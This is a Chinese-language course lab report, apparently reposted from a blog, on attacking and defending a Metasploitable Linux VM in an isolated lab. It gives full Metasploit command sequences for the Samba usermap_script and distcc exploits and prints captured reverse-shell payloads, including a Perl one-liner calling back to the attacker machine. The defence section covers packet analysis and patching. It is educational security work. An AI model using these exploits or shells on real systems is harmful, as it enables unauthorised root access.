Linux系统攻防对抗实践

一、实践内容

  • 在Metasploit渗透攻击框架软件中寻找一个针对Linux系统服务的渗透攻击模块,在网络安全攻防实验环境中部署有漏洞的环境(如渗透利用第三方网络服务,需要找到并安装存在特定漏洞的版本),并使用metasploit进行攻击。

  • 攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机实施网络攻击,防御方则在Metasploitatble上使用Tcpdump或Wireshark或Snort工具捕获攻击流,并分析出攻击者利用了哪个安全漏洞进行攻击,从官方网站上下载该安全漏洞补丁进行系统修补,双方合作给出攻防过程报告。

    二、实验环境

  • 为了完成本次实验,我们部署了如下的实验环境。
  • 攻守双方使用两台笔记本电脑,并将它们直连成为一个局域网。在攻守双方的笔记本电脑上部署Vmware Workstation软件,并分别建立攻击机、扫描机和防守机。其中攻方使用BackTrack4系统,并辅助使用WinXPattacker进行扫 描;守方使用Ubuntu 8.04-Metasploitable系统。
  • 如下图,三台虚拟机使用Bridge方式联网,攻击机IP地址192.168.200.10,扫描机IP地址192.168.200.2;防守机IP地址192.168.200.11。

三、攻防实践过程

  • 攻守双方首先将虚拟机启动起来,配置好网络环境并测试网络通畅后,攻守双发分别进行接下来的操作。

    攻方过程

    漏洞扫描及结果分析

  • 为了确认防守方系统漏洞,攻方在扫描机上使用X-Scan3.3对防守机进行了一次全面漏洞扫描。

  • 其中防守机开启的服务和具体的漏洞如下,

  • 查看详细的扫描报告,可以得知该主机很多重要信息,

    • a) 从139端口可以获取该系统主机名为“METASPLOITABLE”,注释“metasploitable server (Samba 3.0.20-Debian)”;
    • b) 主机系统中存在许多用户,共35个,其中被禁止的33个,存活使用用户user、msfadmin;
    • c) 系统存在弱口令,用户user、msfadmin密码与用户名一样,使用net use命令能够建立连接查看共享资源。ftp开放版本信息 ProFTPD 1.3.1 Server (Debian),user这个用户在ftp中也可以使用;
    • d) telnet服务开放,可确定该系统为Ubuntu 8.04,用户user、msfadmin可以登录,并获得相应权限。如果不存在弱口令,通过截获该telnet数据也能获取用户口令。

攻击方式选择

  • 根据上面的分析结果,最简单的攻击方式就是通过telnet使用user或msfadmin用户登录即可,但这样的攻击并不是我们的实验目的,因此我们暂时忽略系统弱口令的问题,通过第三方软件的漏洞获取系统的控制权。

从上面的漏洞扫描可以看出,防守机的漏洞很多,我们可以使用SMB漏洞、distcc漏洞等进行攻击。因为SMB是Samba软件的服务,而Samba服 务是运行在root权限下,所以一旦攻击成功,将获得权限为root的shell。我们本次实验主要使用SMB漏洞进行攻击,并尝试使用distcc漏洞。

攻击入侵

  • 完成了以上的分析,我们终于进入了今天的重头戏,攻击环节。
  • 在命令行窗口输入命令
  • msfconsole
  • 将开启我们要使用的攻击工具:metasploit,如下图,

  • 首先,我们使用SMB漏洞对防御机进行攻击,并设定payload为reverse(在没有防火墙的情况下,选择任意的shell payload都是可以的,本实验的payload是任意选取的),依次输入如下命令,使用SMB漏洞对防守机进行攻击,

use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit

  • 如下图,攻击后成功的获得了一个root权限的shell,攻击成功!

  • 断开当前的连接,依次输入如下命令,使用distcc漏洞进行攻击。

back
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit

如下图,攻击成功后出现一个可以使用的shell,但是没有root权限。

但继续输入命令时却没有反应,后证实是被防守方人为中断了。
为了使用更高权限的命令,我们需要root权限的shell。因此再次使用SMB漏洞进行攻击。在命令行下输入如下命令,

back
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit

  • 然后在获得的shell中输入reboot命令,如下图,

  • 这时,防守机系统重启了,攻击成功!

守方过程

  • 防守机上观察到的攻击迹象
  • 在防守机启动之后,立即使用如下命令抓取系统接收和发送的报文,并将结果保存到result.cap文件中。

sudo tcpdump –s 00 –w result.cap &

  • 然后等待一段时间后,使用如下命令查看系统进程,

ps –e | more

  • 发现数个可疑的telnet进程,后来证实其为攻击时使用的shell。如下图,

  • 果断将telnet进程杀掉。但随后不久,收到一个来自用户root的消息,机器便重启了……

报文分析

  • 为了弄清楚重启的真正原因。当机器重启之后,果断断网。导出抓取的报文文件,并使用wireshark进行分析。
  • 简单的查看抓取到的报文,在短短的30分钟内,一共有128768个报文。如此巨量的报文中,绝大多数报文都是成片的同一种协议的报文,如下图,

因此可以断定,攻击机正在进行扫描,而真正的攻击应该在最后。从后向前查看报文内容发现,倒数第二条报文是一个TCP数据包,其中报文的内容是正是reboot!可以断定正是这条命令导致了系统重启。

经过对报文仔细的分析,可以确定的攻击有三次,分别如下图所示,其中攻击的漏洞和携带的攻击脚本分别为,

漏洞名称 相关网址 攻击脚本 执行的命令
SMB漏洞 CVE-2007-2447 http://www.samba.org/samba/security/CVE-2007-2447.html nohup sh -c ‘(sleep 4495 telnet 192.168.200.10 4444
Distcc漏洞 CVE-2004-2687 http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-2687 perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.200.10:4444”);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’ idusers
同第一个 同第一个 同第一个 idreboot

漏洞修补

  • 由于防守机是ubuntu系统,所以很容易将软件升级到最新版本。在命令行执行如下命令,

sudo apt-get update
sudo apt-get install samba

  • 或者将相应的服务禁掉,

sudo /etc/init.d/samba stop
sudo /etc/init.d/distcc stop

  • 但是升级distcc时会提示没有更新的版本,到其官网上下载最新版本,卸载旧版本并安装后可以修补漏洞。

四、攻防实践总结

实践中遇到问题和总结的经验,

  • 攻方

    • a) 漏洞选择,因为有文档指出Metasploitable靶机存在的漏洞,所以在这个方向上可以减少攻击过程中尝试的漏洞;
    • b) 如果获得的shell权限不是root级别的,需要继续使用本地溢出进行提权,本人对这些漏洞信息掌握很少。
  • 守方
    • a) 抓取的报文数量巨大,从中找出有用的信息比较困难。
    • b) 从攻击的过程中推测被利用的漏洞必须具备相当的背景知识,并且需要熟练运用搜索引擎和官方网站。

转载于:https://www.cnblogs.com/lidong20179210/p/8972166.html

linux操作系统安全防护相关推荐

  1. 充分利用Linux操作系统安全防护工具(转贴)

    Linux的安全防护离不开各种工具,Linux的开源性也促进了这些优秀的安全防护工具的发展. 目前在Linux环境下的安全工具林林总总,种类繁多.本文精选一些比较常用的.具有代表性的加以介绍,它们包括 ...

  2. 项目一 认识Linux操作系统

    项目一   认识Linux操作系统 [项目说明] 随着人们对开源软件的不断热爱,Linux操作系统越来越受到人们的关注,对于想从事Linux岗位的人,最关注的问题莫过于这个行业到底怎么样,我需要做什么 ...

  3. Linux系统怎么做安全防护,linux系统安全防护

    linux系统安全防护大体上分成4个关键部分: 1.文件系统的保护.linux系统就是文件系统,其中的所有设备都是通过文件进行操作和管理的. 2.用户管理安全.linux是多任务,多用户的操作系统,用 ...

  4. 网络安全学习--操作系统安全防护

    操作系统安全概述 系统安全是指该系统能够通过特定的安全功能控制外部对系统信息的访问. 通过可信计算基(TCB)实现主体对客体的访问策略. 可信计算基(TCB):实现计算机系统安全保护的所有安全保护机制 ...

  5. Linux服务器运维管理 项目一 认识Linux操作系统

    任务一 查找Linux系统的基本概况 第一步 通过搜索引擎搜索"Linux" 第二步 收集整理搜索到的网页 一.Linux内核最初只是由芬兰人李纳斯·托瓦兹(Linus Torva ...

  6. 信息安全之操作系统安全防护技术

    信息安全之操作系统安全防护技术 1.了解操作系统 从目前的PC系统来看,大致可以分为五类,Windows系统,NetWare系统,Unix系统,Linux系统和Mac系统. Windows操作系统是一 ...

  7. 项目一,认识linux操作系统

    项目一,认识linux操作系统 任务一:查找Linux的基本概况: Linux是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和UNIX的多用户.多任务.支持多线程和多CPU的操作系 ...

  8. 项目一 认识Linux操作系统

    任务一     查找Linux系统的基本概况 第1步:通过搜索引擎搜索"Linux" 第2步:收集整理搜索到的网页强大 (1)UNIX操作系统(尤尼斯),是一个强大的多用户.多任务 ...

  9. 第1课:Linux操作系统基础【DevOps基础培训】

    第1课:Linux操作系统基础 --DevOps基础培训 1. 云主机.公网IP 1.1 公网ip和私网ip 只有公网ip是能够连接互联网的,私网IP 一般只用作局域网 我们能够上网靠的是isp组织分 ...

最新文章

  1. haproxy 学习记录
  2. Html基础Part1:Htmla标签的几种跳转姿势
  3. c语言跑马灯实验报告,单片机跑马灯实验
  4. linux 文件服务,linux系统文件服务
  5. 拼图项目:一个不完整的难题
  6. easypoi导出excel 效率_Spring Boot 入门(十二):报表导出,对比poi、jxl和esayExcel的效率...
  7. php ob缓存原理介绍
  8. Oracle 12C R2-新特性-PDB的磁盘I/O(IOPS,MBPS)资源管理
  9. 将当前的Git分支设为主分支
  10. 计算机设计思想 —— 分层模型
  11. 博弈-巴什博奕-P/N图
  12. 计算机原理内存详解,【讲给小白的计算机原理】什么是内存,内存的作用?
  13. 中华吸血鬼恶意病毒分析
  14. 【PHP实现微信公众平台开发—基础篇】第2章 微信公众账号及申请流程详解
  15. 什么是link标签?
  16. 九:什么是热部署,为什么要用这个?
  17. 中铁建工集团安装公司基于BIM物资施工运维系统由橄榄山软件研发完成
  18. 万能查看电脑连接过的WiFi密码
  19. 青岛小学 初中有计算机编程比赛,青岛市电脑制作活动 程序设计竞赛 一等奖...
  20. Hive left semi join ,select 和 where中不能出现右表字段/不会生成笛卡尔积

热门文章

  1. 2020年的科技趋势:随时准备改变企业的未来!
  2. Incorrect string value: ‘\\xB2\\xE9\\xD1\\xAF\\xCA\\xD3...‘ for column ‘name‘ at row 1
  3. 从键盘输入一个字符串并输出
  4. 区块链的共识机制是什么?
  5. 电脑耳机有杂音怎么办?【详解】
  6. ES 查询一,基于URL 的查询
  7. 简单介绍一下CGAN
  8. gridview发布后,编辑改为edit 原因是未安装 dotNetFx40LP_Full_x86_x64zh-Hans中文语言包...
  9. SCA连载GDPR罚单之保加利亚国家税务局(NRA)信息泄露事件
  10. 【python】之pymysql模块,操作mysql数据库!